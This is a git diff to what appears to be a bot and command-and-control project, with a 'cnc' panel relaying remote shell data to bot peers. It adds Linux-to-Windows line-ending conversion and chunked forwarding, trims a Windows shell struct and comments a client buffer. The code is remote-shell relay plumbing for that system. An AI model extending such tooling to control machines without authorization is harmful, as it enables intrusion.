diff --git a/bot/win/winshell.c b/bot/win/winshell.c index 353d774..c6d3a79 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -13,11 +13,6 @@ struct sLaika_shell { PROCESS_INFORMATION procInfo; STARTUPINFOEX startupInfo; HPCON pseudoCon; - /* HANDLE watcherMutex; - char *outBuf; - int outCount, outCap; - char *inBuf; - int inCount, inCap; */ }; /* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index e7a7d79..7a348c3 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -1,4 +1,5 @@ #include "lerror.h" +#include "lmem.h" #include "cnc.h" #include "cpanel.h" @@ -143,8 +144,45 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_ /* read data */ laikaS_read(&authPeer->sock, data, sz); - /* forward data to peer */ - laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); - laikaS_write(&peer->sock, data, sz); - laikaS_endVarPacket(peer); + if (authPeer->osType == peer->osType) { + /* forward raw data to peer */ + laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); + laikaS_write(&peer->sock, data, sz); + laikaS_endVarPacket(peer); + } else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */ + uint8_t *buf = NULL; + int i, count = 0, cap = 2; + + /* convert line endings */ + for (i = 0; i < sz; i++) { + laikaM_growarray(uint8_t, buf, 2, count, cap); + + switch (data[i]) { + case '\n': + buf[count++] = '\r'; + buf[count++] = '\n'; + break; + default: + buf[count++] = data[i]; + } + } + + /* send buffer (99% of the time this isn't necessary, but the 1% can make + buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */ + i = count; + while (i > LAIKA_SHELL_DATA_MAX_LENGTH) { + laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); + laikaS_write(&peer->sock, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH); + laikaS_endVarPacket(peer); + + i -= LAIKA_SHELL_DATA_MAX_LENGTH; + } + + /* send the leftovers */ + laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); + laikaS_write(&peer->sock, buf + (count - i), i); + laikaS_endVarPacket(peer); + + laikaM_free(buf); + } } \ No newline at end of file diff --git a/shell/src/speer.c b/shell/src/speer.c index 3e8b114..7d48a4a 100644 --- a/shell/src/speer.c +++ b/shell/src/speer.c @@ -46,7 +46,7 @@ char *shellP_osTypeStr(tShell_peer *peer) { } void shellP_printInfo(tShell_peer *peer) { - char buf[128]; + char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */ sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES); shellT_printf("\t%s@%s\n\tTYPE: %s\n\tOS: %s\n\tPUBKEY: %s\n\tINET: %s\n", peer->hostname, peer->ipv4, shellP_typeStr(peer), shellP_osTypeStr(peer), buf, peer->inet);